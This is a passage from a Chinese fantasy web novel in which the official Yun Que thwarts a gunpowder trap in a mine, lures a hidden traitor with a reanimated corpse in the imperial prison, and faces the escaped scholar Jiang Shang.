众人心里犯嘀咕,又不敢打断云缺,只能在旁边听着。 最后与令狐豪商量好之后,云缺还很贴心的报上名号,特别叮嘱对方缺字是缺钱的缺,千万别刻错了。 令狐豪冷笑着点头答应,不着痕迹的瞄了眼众人身后。 见对方有些不耐,云缺笑容一收,沉声道: “还有件最重要的事,你们教主的墓碑,我亲自来定做,材料要用最贵的,坟我已经选好了,就埋在鸿雁城。” “只要你有能力杀掉教主,尸体随你埋。”令狐豪冷笑道:“不过墓碑用不着你准备,你连教主的名讳都不知道,碑上刻什么字呢。” “这点你不用担心,既然做碑,当然会提前刻好名字,你们教主看似神秘,其实她的底细早已人尽皆知,连我们天牢看门的狱卒都知道她姓甚名谁。”云缺道。 “吹牛也要有个限度才好,吹得太大,牛会被吹死。”令狐豪现出不屑之色,道:“教主的尊名,整个红莲教内没几人知道,你一个区区无名小辈,岂能得知。” “我要是说对了呢,你给点什么好处。”云缺道。 “人头送你,如何。”令狐豪道。 “人头有什么用,又不值钱,我要你身上所有值钱的东西。” 云缺看似随意的说道,实际上用意颇深,他先定下了战利品的归属权。 “可以!说罢。”令狐豪带着戏虐的目光道。 “你们教主姓赵……”云缺道。 令狐豪随之冷笑起来。 “不对!姓钱?好像也不对,应该姓孙,再不就姓李!”云缺道。 “你不如把百家姓念一遍,肯定能念到教主的姓氏。”令狐豪冷冷道。 “最后猜一次!”云缺故作为难之态,沉吟良久道:“你们教主……姓楚!” 令狐豪表情不变,只是神色变得冷了许多,仍旧噙着淡淡的冷笑。 “对了吧!我就说肯定能猜中。”云缺得意道。 “名字呢,你不妨多猜几次,我有时间,等得起。”令狐豪冷声道。 “名字不用猜,肯定三个字,她叫……” 云缺勾起嘴角,声音森冷的道:“楚红莲!” 楚红莲三字一出,令狐豪冷静的神色中泛起一种惊疑。 尽管表情变化得极其微小,云缺还是从对方的眼底捕捉到了那份惊疑之色。33qxs.m 看似与对方一顿废话,其实云缺不仅在拖延时间,等待河水倒灌,他第二个目的,就是借用令狐豪这个红莲教的高层,验证一番自己之前的猜测。 至此,云缺已经能确定,红莲教主,就是七叔的那个红颜知己! 咔嚓! 令狐豪忽然按下大椅上暗藏的机关。 咯吱!咯吱! 机括转动的声音在矿洞内出现。 云缺目光一沉,望向高处的一圈火把。 这些火把原本斜着安置在墙壁上的铁环内,此刻竟纷纷朝下转动,贴向墙壁。 不仅深处的洞窟,通道里的所有火把,都在移动! “到此为止了,你们下地狱罢!” 令狐豪掐碎了左手里藏着的传送符箓,周身立刻闪烁起流光。 故技重施! 陈洲骅看到这一幕,只觉得心头发沉。 上次在鸿雁城他就眼睁睁看着人家以传送符逃离,随后爆发了冲天烈焰,这次对方要走,肯定也给众人准备了同样的结局。 随着火把的移动,陈洲骅看到了每一个火把下方,都有一条引线! 那些引线贴着墙壁,伪装得极好,若非火光靠近根本发现不了。 这处硝石矿,已经被改造成一个火药桶,只要引线被点燃,整个矿山都会夷为平地! 花不谢也察觉到危险,刚想动用法力,已经来不及了。 滋!滋!滋! 一条条引线被引燃,如同无数条细小的火蛇,快速蔓延到地面。 刑部众人纷纷大惊,一时间不知所措。 云缺背着手,站在原地一步不动,神色淡然,甚至看向令狐豪的目光带着点戏虐之意。 很快,令狐豪的神色变了。 他动用了传送符箓,居然没能传送出去,还站在原地! 传送符,失效了! 令狐豪大惊失色,不敢怠慢,快速取出另一张备用的传送符,一把掐碎。 流光闪烁之后,令狐豪仍旧站在原地。 “怎么会失效!” 令狐豪惊恐不已。 自己出不去的话,就得被炸死在此地! 更令他震惊的还在后边。 随着那些引线没入地面,本该惊天动地的轰鸣声,却迟迟没有出现。 矿洞内,安静如昔。 令狐豪的神色变得惊疑不定。 他想不通,为何自己无法传送不说,连早已准备好的火药也失灵了。 很快,令狐豪发现脚下湿漉漉的。 他低头一看,不知何时,矿洞里竟铺满了一层水! 令狐豪惊呼道: “你引来河水,毁了火药!” 云缺笑了笑,道:“是啊,不然我为何跟你拉家常呢,我在等水来。” 陈洲骅与花不谢等人终于恍然大悟,纷纷对云缺投去敬佩的目光。 原来挖沟引水,是为了浸湿火药! 简直是神机妙算! 花不谢心里变得内疚起来,之前她对云缺用粪土铺山的荒唐举动嗤之以鼻,决定以后再也不来刑部调人了,刑部都是些粗鄙的武夫。 第165章 近在咫尺的真凶 最关键的线索,即将得知。 云缺凝神聆听,想要知道那洛将军究竟是何许人也。 以云缺判断,洛将军应该就是鬼面人! 偷运军械,皇宫血案,送给穹音功法,杀掉负易,救走璇玉郡主,这一连串的事件均是此人所为。 这个洛将军,是红莲教安插在皇城里的一根钉子,隐晦又锋利,不将其拔除,天祈城永无宁日。 很快,令狐豪举起的手垂落下去,再无声息。 死了。 神魂崩裂而亡。 花不谢的额头遍布冷汗,对同阶高手施展审讯法门,她自己也要消耗极大的法力。 对方的神魂越强,反抗的越剧烈,神魂越容易崩裂。 见令狐豪彻底咽气,云缺大为遗憾。 好不容易找到的这条线索,又断了。 带着遗憾的心情,云缺开始搜身,手脚麻利的将值钱东西翻了出来。 令狐豪不愧是红莲教的堂主,身家颇丰,随身携带的灵石就有五十多块! 银票两万多两! 灵符已经被耗尽,一张没剩,这一点有点可惜,不过云缺找到了一件好东西。 一只小巧的玉鹰。 此物散发着法器的气息,手指长短,惟妙惟肖,背部还有暗藏的凹槽,可用来放置灵石。 云缺将一块灵石装进去,玉鹰立刻灵气大起,幻化成丈许大小的一头苍鹰,双翅之下自行出现风旋,尚未飞起便有风声阵阵。 “飞行法器!” 陈洲骅最识货,一眼看出玉鹰的真相,惊呼道:“能以灵石催动而不需法力,这是极品程度的飞行法器!没有五十万两别想买到手!” 听到陈洲骅的惊呼,云缺立刻将灵石卸掉。 苍鹰随之恢复成手指大小的玉鹰,被云缺收进怀里。 “刚才大家都听到了,我与令狐豪打赌,我若猜中那教主的名字,他身上的东西都归我。” 云缺义正言辞的道:“人虽然死了,赌债可不能不算。” “算!当然算,都是云大人的!” 陈洲骅第一个赞同。 其他刑部官差纷纷同意云缺的说法,尽管眼馋,可没人敢去分杯羹。 毕竟云缺是他们的顶头上司,皇帝眼前的红人儿,况且这次若非云缺提前布置,别说抓到令狐豪,进来矿洞的这些人手,能不能活着逃出去都两说。 刑部的人仅仅眼馋而已,司天监的十几位高手直接眼红。 那可是极品飞行法器! 正常的飞行法器需要法力催动才能飞行,通常十万两以内即可买到。 飞行法器由于功效特殊,自然昂贵一些,价格是攻防类法器的一倍左右。 而极品飞行法器不仅速度更快,关键不需要法力,只用灵石即可驱动,十分方便,连没有法力的武夫也能用。 不过很少有武夫乘坐极品飞行法器,最关键的一点就是太贵了! 五十万白银,仅仅是个大致价格,基本有价无市,有钱也未必买得到。 况且那么多钱,足够买下拥有特异血脉的宝马了,甚至妖兽坐骑,如白厌的宝马刺白,苏鸿山的旋风驹。 真正的宝马,速度不比飞行法器慢,是武者的常用坐骑,还不消耗灵石,吃草即可,简单方便。 极品飞行法器需要耗费灵石,飞起来就是在烧钱。 但也有个好处,那就是无视地形,山川湖泊畅通无阻。 云缺收好法器后,心里甭提多美了。 此行收获颇丰! 五十块灵石,一块一千两,便是五万两白银,加上两万银票与玉鹰,这次云缺差不多有六十万两进账! 血赚一笔! 收好东西后,云缺对刑部众人道: “你们先走,在外面等着,我和花大人再查看一番此地。” 陈洲骅立刻点头,带着刑部的人手匆匆离开。 河水已经灌进来了,虽然不深,但时间长了容易被堵死在矿洞,加上谁也不清楚有没有火药会爆,留在这里始终不安全。 司天监的人手则没动,默默站在花不谢身后。 “咱们俩就够了,让他们也先走。”云缺说着朝花不谢使了个眼色。 花不谢看出云缺有话要单独对她说,摆了摆手,十余名司天监高手无声无息的退走。 矿洞深处,只剩下云缺与花不谢两人。 倒灌的河水已经没过了脚面,洞窟内全是水。 “没人了,你想说什么。” 花不谢面无表情的道。 云缺抬起手,指了指上方,模仿着令狐豪临死前的姿态。33qxs.m 花不谢微微蹙眉,疑惑道: “你知道他想说什么?” “他已经告诉我们,洛将军在何处了。”云缺沉声道。 花不谢顺着云缺的手指望向高处,除了石壁之外,别无他物。 “在哪?”花不谢问道。 她心智很高,绝非蠢人,却看不出令狐豪临死前的手势。 “在上面。”云缺道。 “上面?矿山上?”花不谢愈发疑惑。 整个矿山都被铺上了粪便,哪有什么敌人。 “花大人觉得,上面这个词,指的是什么呢。”云缺道。 “天?”花不谢猜测道。 “差不多了,那么大晋的天,又是什么呢。”云缺道。 花不谢略一沉吟,低呼道: “庙堂!” 云缺点点头。 令狐豪虽然没说出来任何关于洛将军的消息,但他用临死前的姿态,指出了洛将军身在何处。 那个神秘的洛将军,就在朝堂之上! “勾结红莲教,暗中运送军械,此人地位怕是不低,他到底是谁。”花不谢沉声道。 “很快就会知道了。” 云缺看向令狐豪的尸体,嘴角翘起冷笑,道:“有了鱼饵,早晚能钓出一条大鱼!” 矿洞深处,云缺与花不谢秘密商谈了一次计划。 两人就此配合,要来一次钓鱼之举。 花不谢先行离开矿洞,在外面汇合司天监与刑部众人后,下令赶往下一处地点,距离此地不远的一座城池。 以花不谢的说法,怀疑令狐豪还有同伴栖息附近,必须详细调查。 陈洲骅等人自然不敢抗命,人家是司天监的大人,想怎么行动,刑部都得配合。 陈洲骅见云缺没出来,也没跟着,于是问了问。 花不谢说云缺还有其他线索要追查,现在开始兵分两路。 等花不谢带着人走后,云缺才拎着令狐豪的尸体离开矿洞,直接放出苍鹰法器,飞往天祈城。 花不谢并非去追查什么线索,而是在封锁消息。 令狐豪之死,只有这次行动的人手才知道,云缺早就怀疑刑部里有红莲教的眼线,所以才让花不谢带走众人,如此一来,令狐豪的死讯会被掐断。 极品飞行法器的速度,让云缺大开了眼界。 比起花不谢的毛笔法器要快出一倍还多! 从这里飞回天祈城,用不上半天即可抵达。 就是有点耗费灵石。 等飞到皇城脚下,一块崭新的灵石已经化作齑粉。 快是快,太费钱了! 这一路直接用掉了一千两银子! 云缺一脸肉疼的进城后,先将尸体带到学宫,求墨老制成炼尸。 道门修士的尸体,无法保留修为,好在云缺不需要令狐豪的修为,只要是炼尸即可。 很快,墨老将炼尸制作成功。 云缺尝试了一下,比负易炼尸容易控制得多,慢点挪步,能走出很远。 云缺猜测是负易炼尸保留了一定修为的原因,所以更难控制。 将令狐豪的尸体五花大绑,秘密运到刑部,云缺才将其公之于众。 得知提刑官大人抓住了红莲教的关键人物,刑部众人纷纷大喜。 犁术最高兴,马屁如连珠炮般不绝不断,只要云缺升官升得越快,提刑官的位置就能早点空出来,他犁术就有机会重新接替这个位置。 云缺亲自将令狐豪关进天牢,随后告知众人自己要去皇宫禀报,顺便请功,就此离开刑部。 云缺不在天牢的时候,一直是犁术代为管理。 犁术独自坐在提刑官专属的大屋里,美滋滋的自言自语: “云大人的手腕实在了得啊,屡立奇功,估计明年还得升迁,现在是四品,明年三品,过几年还了得!这棵大树我得抱稳了才行,等他回来,接风宴我做东。” 正惦记着如何拍马呢,门一开,走进个狱卒。 “什么事。”犁术眼皮都没抬。 对方没说话,而是关上了门。 犁术觉得奇怪,抬头一看,惊呼道:“云大人!” 穿着狱卒衣服的,正是去而复返的云缺。 云缺示意犁术别声张,在屋子里找了套囚服给自己换上,将头发弄乱,遮住面孔。 犁术越看越奇怪,想不通云缺要做什么。 等伪装妥当后,云缺盯着犁术沉声道: “把我关在令狐豪旁边的牢房,此事关系重大,你若敢对第二个人透露半点消息,你就是红莲教安插在刑部的眼线。” 犁术闻言大惊,赌咒发誓自己与红莲教无关。 “我相信你,切勿走漏风声,带我走。”云缺道。 犁术急忙领命,装作押着囚犯,将云缺关在了令狐豪隔壁的牢房,随后胆战心惊的离开。 至此,云缺与花不谢定下的计划,彻底完成。 只等大鱼上钩! 云缺穿着狱卒衣服混进来不难,他对天牢熟悉,但把自己关进去就难办了,天牢里有守卫,一个狱卒自己关自己,肯定会惹来怀疑。 所以云缺才借助犁术,完成最后一步。 至于犁术会不会透露消息,云缺并不在意。 只要今天没人来杀令狐豪灭口,只能说明消息被红莲教得知,所有知情人均没回来,只有犁术一个人知道真相,足以证明犁术是红莲教的人。 如果有人来灭口,犁术的嫌疑就此解除,而云缺也能借助炼尸的眼睛,看到对方究竟是谁。 坐在牢房角落,云缺低着头,披头散发,眸子里闪烁着冷冽的寒光。 他要趁着这次机会,揭开洛将军神秘的面纱,将这条大鱼揪出来! 令狐豪的地位,在红莲教也许算不上最高,但此人负责运输军械,权利绝对不小,尤其他是接头人,直接与神秘的洛将军接触,肯定知道洛将军的底细。 如果洛将军就在庙堂之上,那么这时候是最好的灭口良机。 等到皇帝得知消息,派遣高手审讯,洛将军的身份就有可能泄漏。 所以云缺料定,那个洛将军今天肯定会出手! 捏了捏拳,又缓缓松开,云缺深吸一口气,闭上眼,默默等待。 隔壁的炼尸令狐豪也一样的动作,坐在角落里闭眼不动。 时间过了不久,大致一炷香之后,云缺听到了牢门开启的轻微响动。 声音不大,就在隔壁! 云缺心头一惊。 自己始终聆听着附近,却没听到任何靠近的脚步声,仿佛有一道鬼魂无声飘来,打开了隔壁的牢门。 听到响动的同时,云缺控制炼尸睁眼,整个过程只是瞬间而已。 借助炼尸的视觉,云缺并没看到凶手的样子,眼前只有一个拳头如迅雷般袭来。 嘭!!! 闷响声过后,令狐豪的人头直接被砸碎! 炼尸术在运转途中,炼尸若被损伤或者摧毁,施法者也会有相同的感受,云缺只觉得脑子发涨,如同被人重击了一下,下意识的抽了口冷气。 细小的吸气声,在外面没人会察觉,但在安静的天牢里清晰可辨。 隔壁牢房再无声音。 没有牢门响动,也没有脚步出现,唯有一道高大的影子,一动不动,倒映在云缺所在的牢门外。 隔着一面墙,云缺与真正的凶手近在咫尺! 第166章 这人有病 盯着牢门外的影子,云缺目光清冷,一语不发。 对手的强大,超出了他的预料。 从牢门开启,到炼尸睁眼,整个过程仅仅瞬间而已,那凶手却在短短瞬间完整了击杀。 快到惊人! 这种出手的速度,已经不是七品武者的范畴之内了。 以云缺估计,站在外面转角处的家伙,至少有六品宗师境,甚至是五品金身境! 真正的强敌! 云缺没动,地面上高大的影子也没动,仿佛双方形成了默契,谁也没发出任何声音。 短暂的沉默之后,影子忽然消失,云缺也从牢房角落里暴起,一脚踢开了牢门。 天牢通道内,空荡荡,没有任何身影。 “好快的身法……” 云缺几步来到隔壁,里面的令狐豪只剩下躯体,人头已经完全碎裂,墙壁四周全是鲜血。 云缺的脸色很冷,但眸光很亮。 看似失败的一次引蛇出洞,其实已经成功。 尽管没看到凶手的模样,但云缺看到了砸向炼尸的拳头。 拳头的食指上,带着一个黑铁扳指! “真没想到,洛将军,原来是你……” 云缺渐渐挑起嘴角,笑容冷冽。 扔掉囚服,换好官服,云缺直奔皇宫。 见到皇帝后,云缺告知红莲教的堂主令狐豪被抓获,关押在天牢。 这与之前要假装去皇宫请功的路线一致。 皇帝得知后,对云缺大加赞赏,当场赏赐白银万两,并派遣禁军接管天牢,生怕红莲教的堂主逃脱。 毕竟天牢里出过逃走囚犯的事儿,皇帝眼前的这位提刑官,当初就是从天牢里跑出去的。 云缺带着禁军赶往天牢。 之所以没将真凶说出来,是因为时机没到。 那条大鱼,必须在一个万无一失的环境里,才能捉住,否则任何风吹草动,对方都有可能逃之夭夭。 而这个机会,明天就会出现! 一天时间,云缺等得起。 当禁军抵达天牢,发现令狐豪的无头尸体后,立刻回报皇帝。 皇帝本以为这次有了红莲教的线索,足以将其重创,结果得知消息后,气得大发雷霆,下旨将刑部所有人全都罚俸半年,更把刑部尚书姜落君传唤到皇宫,劈头盖脸一顿臭骂。 没有头的尸体,自然毫无线索。 没了头的炼尸,相当于彻底损毁。 不过尸体还有很大的用处,云缺亲自将尸体包裹好后,带出刑部,运到自己的府宅里。 乱哄哄的刑部,到处能听到唉声叹气的声音。 罚俸半年,谁也提不起精神。 犁术始终提心吊胆,他对罚俸已经不在乎了,就怕自己沾上红莲教。 收拾好尸体,云缺单独找到犁术。 “犁大人办事不错,我觉得你没有嫌疑,不过最终定论还要等到明天才行,今天的事,你不要说出去,否则,你知道后果。” “下官明白!我今天整天睡大觉,什么也不知道!”犁术很识相的道。 云缺点点头,让犁术处理杂务,自己离开刑部,直奔司天监。 明天便是水落石出的关键时刻,想要万无一失,得把司天监拉进来才行。 亮出刑部的腰牌,云缺被带到一间待客厅。 这是云缺自从来到天祈皇城后,第一次走进司天监。 望着四周熟悉的草木,云缺一时间有些感慨。 十五年前,这里还是自己的游乐场,司天监的每一个角落,都曾经留下过自己调皮的痕迹。 待客厅的大门口,是一棵老树,树干上隐约有一些划痕。 看到树干上细微的痕迹,云缺的嘴角浮现出淡淡的苦笑。 那些划痕他还记得。 是他两岁时候画的画,原本想画一只小鸭子,结果画完后,成了四不像。 当时柳十一就在旁边,还嘲笑自己是个小笨蛋,连鸭子都没见过,气得当时的小小云缺,龇牙咧嘴的追打了柳十一好久,结果人家大笑着一只手按在自己脑门儿上,自己的拳脚根本碰不到人家。 当年的情景,仿佛就在眼前。 可惜故人已死,还是死于自己之手。 曾经的家园,人去楼空。 曾经的家人,战死沙场。 “柳十一……” 云缺在心头低语:“红莲教到底有什么值得让你效命的地方?你当初为何要叛出司天监?” 种种疑团,如同乌云般笼罩而来,遮蔽了云缺的双眼。 他看不清乌云之后的真相,只能听到一个声音。 柳十一临死之前,最后的警告。 “小心,监正……” 再次想起柳十一临死前的低语,云缺没来由的心绪烦乱起来。 悲戚,愤怒,迷茫,疑惑,种种情绪扑面而来,扰得云缺心烦意乱。 随着脖颈处升腾的一丝清凉,云缺的心神渐渐冷静下来。 他知道,那是月玉的安神之力。 深吸一口气,云缺恢复了平静。 不久后,一名负责接待的少监走了进来。 司天监内亦有等阶,与六部类似。 最高是监正,官职等同一品,监正之下设立五位少监各司其职,均有三品官衔,之后是属官数十名,最低的是普通官差。 司天监少监,官衔等同于六部的侍郎。 进门的这位少监四十多岁,鼻正口方,一头短发梳理得一丝不苟,官袍整整齐齐连半点褶皱都没有。 少监进门后抱拳拱手道: “在下冷春鱼,不知提刑官大人来此何事。” 云缺起身还礼,报出名号后,道明来意: “之前与花大人一同调查案件,途中我们分开行动,现在需要通知花大人尽快赶回来。” 冷春鱼听罢点头道: “好,花大人在何处,我这便派人去通知。”彡彡訁凊 监正的弟子并无官衔,但在司天监内,地位却在少监之上,是仅次于监正的存在,身为少监的冷春鱼不敢怠慢。 云缺摆手道: “派人去来不及,我有要事,必须立刻联系到她,让她马上返回才行。” 冷春鱼皱起眉,道: “我无法即刻联系到花大人,唯有监正大人的弟子之间,才有互相传讯的手段。” “李玄驹在没在,让他帮帮忙。”云缺道。 那个不靠谱的三师兄,几天前还在鸿雁城见过。 “李大人出门了。”冷春鱼道。 “灵芸郡主呢,她应该在司天监吧。”云缺道。 “郡主正在闭关冲击境界,尚未破境之前,郡主没有修为,无法动用传讯手段。”冷春鱼道。 云缺为难起来,实在没办法的话,只能去找吕青了。 “其他几位大人都不在,不过,司徒大人在司天监。”冷春鱼道。 “司徒大人?谁呀?”云缺道。 “监正大人的五弟子。”冷春鱼道。 云缺这才知道原来吕青有这么多徒弟,牧青瑶至多排在老六。 “有劳冷大人,把那位司徒大人请来一见。”云缺道。 冷春鱼点头称好,临走前看了眼桌子上的茶杯和杯盖,道: “这茶……” “挺好的,味道不错。”云缺道。 冷春鱼的表情变得有些古怪,道: “云大人还喝么?” “不喝了。”云缺觉得莫名其妙。 听到不喝之后,冷春鱼明显轻松了几分,拿起杯盖将茶杯盖好,这才走了出去。 云缺看了看对方的背影,又看了看茶杯,随之恍然。 这个冷春鱼,肯定有病! 强迫症! 又过了好一会,始终没见那位司徒大人的身影。 云缺正等得不耐烦的时候,门口蹦蹦跳跳进来个小女孩,十多岁的模样,穿一身灰色的裙衣,梳着双马尾,手里捧着一袋子爆米花,嚼得嘎吱作响。 进门后,小女孩往一旁的椅子上一坐,两手一起开吃,小嘴儿始终鼓鼓的,嘴巴就没停过。 这种吃相,云缺都担心这位会噎死。 两人谁也不说话。 云缺继续等着,小女孩继续吃着。 眼看一大袋子爆米花快见底儿了,云缺问了句: “小妹妹,你们这里是不是有位司徒大人,他没死吧。” 小女孩瞪大了眼睛,费力的咽了一下,道: “当然没死!我活得好好的,你干嘛咒我死!” 云缺愣了下。 原来这小女孩就是监正五弟子! 云缺刚才根本没往这边想,按照辈分,这么小的丫头,怎么也得排在牧青瑶后边才对,多说是师妹,结果人家居然是牧青瑶的师姐。 云缺很快得知了对方的大名。 司徒盼晴,名正言顺的监正五弟子。 至于司徒盼晴和牧青瑶的辈分,云缺没工夫多问,说明来意后,让对方赶紧通知花不谢。 不料小丫头记仇,翘起二郎腿道: “没吃饱,没力气,我用不出传讯法术。” 云缺这个气呀。 还不好发火,毕竟在人家地盘,只好苦口婆心的规劝,说了一大套危言耸听的词儿。 听云缺说完,别人都会以为花不谢如果不赶快回来,整个天祈城都得塌喽。 司徒盼晴不为所动,斜眼看天,根本不信。 “司徒大人既然没吃饱,你想吃点什么,我请。”云缺没办法了,只好顺嘴说道。 一听这话,司徒盼晴跳了起来,水汪汪的大眼睛里闪烁着绿油油的光,淌着口水道: “你说的啊!不许反悔!我要吃东街财记的烤鸭,西街柳家的吊炉饼,南街惠香园的口水鸡,还有北街的烤地瓜和糖葫芦!” 云缺听得一愣一愣的。 这些都是天祈城比较有名的小吃,价钱倒是没多贵,关键地点太分散,想要吃全,非得跑遍全城不可。 云缺算了算。 这些小吃加起来一两银子差不多够了,于是试探的问道: “司徒大人先传信儿,通知了花大人之后,我再给你二两银子,你自己去买那些小吃,如何?” “行行行!我这就给四师姐传信,让她马上回来对吧。”司徒盼晴如小鸡吃米般点头道。 “对,就说云缺已到皇城,计划顺利,让她速速返回,越快越好。”云缺道。 司徒盼晴立刻掐动法诀,施展传讯法术,凝炼出一只小巧纸鹤,破空而去。 整个过程片刻间完成。 随后司徒盼晴伸出小手要钱。 云缺面无表情的给了二两银子后,走出司天监。 站在司天监大门口,云缺恨不得抽自己两下。 大意了! 一两银子就能解决的事儿,花了二两。 赔了一两银子! 云缺现在算是看清了,监正那个五弟子司徒盼晴,跟自己是一路人。 穷疯了。 离开司天监,云缺回到学宫,去了趟回春殿,看望上官鸿途。 上官鸿途的伤口基本痊愈,左臂空荡荡,少了条胳膊。 六品宗师,恢复的速度相当快,但有一点,断肢无法再生。 断掉的手脚,只能永久缺失。 一只手的武夫,战力将大打折扣,以后的修炼之途也很难再有多高的进境。 上官鸿途相当于以自己的前途,救下了一众手下。 云缺对这位侍郎大人,还是感激的。 鸿雁城的劫难,自己有妖刀庇护绝对死不掉,但陈洲骅等人,肯定活不成。 看过上官鸿途后,云缺的神色变得沉重。 外伤已经无碍,但上官鸿途始终没有醒过来。 问过负责照料的学子后得知,回春殿先生亲自出手才保住上官鸿途的命,只是头部的重创,伤及了神魂,回春殿先生也无能为力。 能否醒来,只能看上官鸿途自己的造化。 云缺站在病榻旁,低声轻语: “红莲教埋在皇城的钉子,已经找到了,那个人,你绝对想不到是谁,我们险些死在鸿雁城,也是他在背后一手推动,这份血债,明天,我会让他用命来偿!” 说到最后,云缺的目光已经如寒霜般冷冽。 风暴来临之前,往往是最宁静的时刻。 今晚无风无云,皓月高悬。 云缺在学宫探望上官鸿途的时候,天牢深处的重犯区域,也迎来了探监之人。 昏暗的通道深处,一道高大的身影站在阴影里,兜帽遮住了大半张面孔。 此人拿出钥匙,打开了最深处的牢门。 牢房内,前朝龙图阁大学士姜熵遍布血丝的眼眸,随着牢门的开启而豁然睁开! 第167章 我叫云不缺 昏暗的天牢深处,火光摆动。 姜熵高大的身影,阔步行走于通道之内。 哗啦,哗啦。 铁锁摩擦的响动,在午夜的天牢里无比刺耳。 监牢里的犯人纷纷被惊醒,趴在铁门上朝外观望。 “谁这么倒霉,大半夜的要砍头吗?” “让不让人睡觉了!打铁呢啊!” “有囚犯逃出来了!有没有人管呐!有人越狱啦!” “老哥别走嘿!帮忙把牢门打开,大家伙都出去透透气!” 嘈杂声惊动了狱卒,纷纷向天牢深处赶来。 姜熵的脚步始终不停,脏兮兮的老脸上带着一种癫狂般的笑意,仿佛在嘲笑着周围的囚犯,嘲笑着迎面而来的狱卒。 低沉之语,从姜熵口徐徐道出。 “君子不居恶地,君子不行恶法,不恶于身且不使身恶。” “君子不居恶心而使心恶之。” “君子道,法天地之变化,行天地之能行,不强求,便无所失,不苟得,便无所不得……” 嘭!嘭!嘭! 随着姜熵的低语,他身上的铁锁相继崩裂。 声音并不大,却压过了天牢里的嘈杂,成为了这片天地中唯一的声音。 狱卒们惊恐不定,没人敢上前,纷纷后退。 仿佛在他们面前的不是一位邋里邋遢的老者,而是一头从黑暗中走来的凶兽! 提刑官的屋子内,犁术正在打瞌睡。 今天出了大事,他没敢走,与几名令史一同值夜,等待着明天的早朝。 好不容易抓到红莲教的堂主,结果在天牢里被灭口,这件事皇帝肯定要大发雷霆,犁术现在已经不奢望官复原职了,只要能保住现在的官职,他就烧高香了。 正打盹呢,听到天牢里传来嘈杂,犁术惊醒后急忙带着几名令史前往查看。 等看到姜熵的身影那一刻,犁术吓得魂不附体! 姜熵的可怕,没人比犁术更清楚。 关押姜熵的牢房不仅是特制的材料打造,更有法阵禁锢,即便如此,这些年来还是有几十个狱卒被那老家伙弄死。 上次云缺调查负易之死的时候,审问姜熵,犁术差点被掐死。 犁术贴着墙,一动不敢动,其他令史也一样,不敢妄动。 一群天牢狱卒就这么眼睁睁看着姜熵走向天牢大门。 姜熵始终目视前方,对身旁的囚犯与狱卒没有多看一眼,等他站在大门前的时候,背对着众人,缓缓抬起双手。 “君子不重则不威……千钧灌顶!” 冷语中,姜熵猛然下压双手,浑厚的气息波动刹那间笼罩了整个天牢。 犁术觉得头顶如同出现了一块数千上万斤的巨石,他连抵挡片刻都没做到,便被这股恐怖的力量压成了肉泥。 嘭嘭嘭的压砸声在天牢内接连不断响起。 每一道声音,都代表着一个活人被压成肉饼。 片刻之后,偌大的天牢再无活人! 满地都是扁平的囚服与官袍,还有那触目惊心,连成大片的血肉! 终于,姜熵的脚步踏出了天牢。 十五年来,这位龙图阁大学士,再次看到了满天星斗。 “天,还是这片天,人,却不是原来的人,物是,人非。” 姜熵浑浊的眼中泛起唏嘘,他的脚步只停顿了一瞬,便朝着皇宫而去。 一身囚服的身影,阔步行走在午夜长街。 每一步,都走得很沉。 街上,印出了一排脚印,犹如即将坠落的流星,留在夜幕里最后的痕迹。 远处,一架马车迎面而来。 看方向,正要赶往刑部。 马车并不华贵,十分普通,但车上的人,却地位尊贵。 正是当朝首辅,周史伯。 周史伯得知了红莲教的堂主在天牢被灭口的消息,第一时间赶来查看。 自从鸿雁城劫难发生,这位大晋首辅便将红莲教的威胁提到最高。 周史伯看得很清楚。 红莲教一日不除,大晋就一日不得安宁,一定会有源源不断的灾难降临。 周史伯神色凝重,在路上思索着刑部之事。 他想了很多,分析了各种局面,直至马车停在路中心,周史伯才从沉思中醒来。 车夫紧张而低沉的声音传来: “大人,对面有个囚犯挡住去路。” 一听囚徒,周史伯神色微变,掀开帘子只看了一眼,便沉默下来。 姜熵此刻也停住了脚步。 短暂的沉默过后,周史伯走下马车,吩咐车夫回府,他自己一个人要去会一会老友。 车夫不敢抗命,调转马车离开。 空旷的长街上,只剩下两位老者。 一个,一身官袍,一个,一身囚服。 “子文兄,一晃十五载,别来无恙。”周史伯当先开口,声音有些沙哑。 子文,是姜熵的字,姜熵姜子文。 “天牢不错,有吃有喝,这十五年来,让我看清了很多事,看清了很多人,老夫无恙,但山河有恙!” 姜熵遍布血丝的眼眸中,迸溅着如刀的目光,冷喝道:“你们这些卑鄙小人,丢了我大燕江山!” 姜熵的冷喝中,狂风暴起,吹得周史伯衣衫猎猎作响。 但这位清瘦的当朝首辅,始终巍然不动,目光清明。 “既然子文兄看清了很多事,不知,你可看清了这江山,究竟是谁的。”周史伯沉声道。 “江山异主,妖邪遍地,即便那狗皇帝窃国成功,他也守不住江山!老夫今晚就要进宫,拧断殷子受的脑袋!你敢拦我,一并杀之!”姜熵冷喝道。 “以子文兄一己之力,杀不了皇帝,皇宫内有禁军,有暗卫,有大内总管无舌,还有缥缈阁里的国师。”周史伯沉声道。 “杀不了,那便战死于皇宫!老夫不是你们这些小人,只会卖国求荣,我宁可身死道消!”姜熵冷声道。 “即便子文兄杀了皇帝,届时晋国大乱,虎视眈眈的邵武国不会错过良机,草原人也会有所动作,晋国将被战火笼罩,难道这样的江山,便是子文兄所期待的江山么。” 周史伯微皱眉头,神色中带着些许感慨道: “子文兄身为龙图阁大学士,无论修为还是治国之道,都在我之上,我们同朝为官多年,你始终是我敬佩之人。 但有一点,你没看懂,这江山,不是皇帝的江山,而是百姓的江山,我保的也不是皇帝,而是天下黎民。” 随着周史伯的低语,周围的狂风渐渐消失。 姜熵沉默着一语不发。 周史伯轻叹一声,道: “子文兄的怒火若无处发泄,大可将我击杀于此泄愤,你是大燕之文曲,亦是天下之文曲,不该死于天祈城,杀了我,你便走吧。” “百姓的江山……哈哈哈哈!” 姜熵忽然笑了起来,笑声中充满凄然。 身为龙图阁大学士,又岂能不懂周史伯的这番言词。 皇帝一死,晋国动荡,必定会引来连年战火,大战一起,倒霉的,永远是百姓。 晋国虽然有窃国之嫌,说到底,这些年来百姓还算安稳,改朝换代之间,并未经历刀兵,也算天下百姓的一份好运。 第168章 神仙局 午夜,宁静的司天监里开了锅。 云缺一路奔逃,姜熵一路追杀。 云缺本以为这个大学士被关押多年,身子肯定虚得很,加上修的必定是儒道,本体速度绝对追不上七品武者。 可结果大出所料。 姜熵不仅速度一点不比云缺慢,反而身形极其灵敏,脚下踏动间有风旋起伏。 武夫! 云缺很想破口大骂。 你一个龙图阁大学士,不看书修什么武道! 以云缺估计,姜熵的武道修为绝对不会低于六品,甚至有可能是五品金身境! 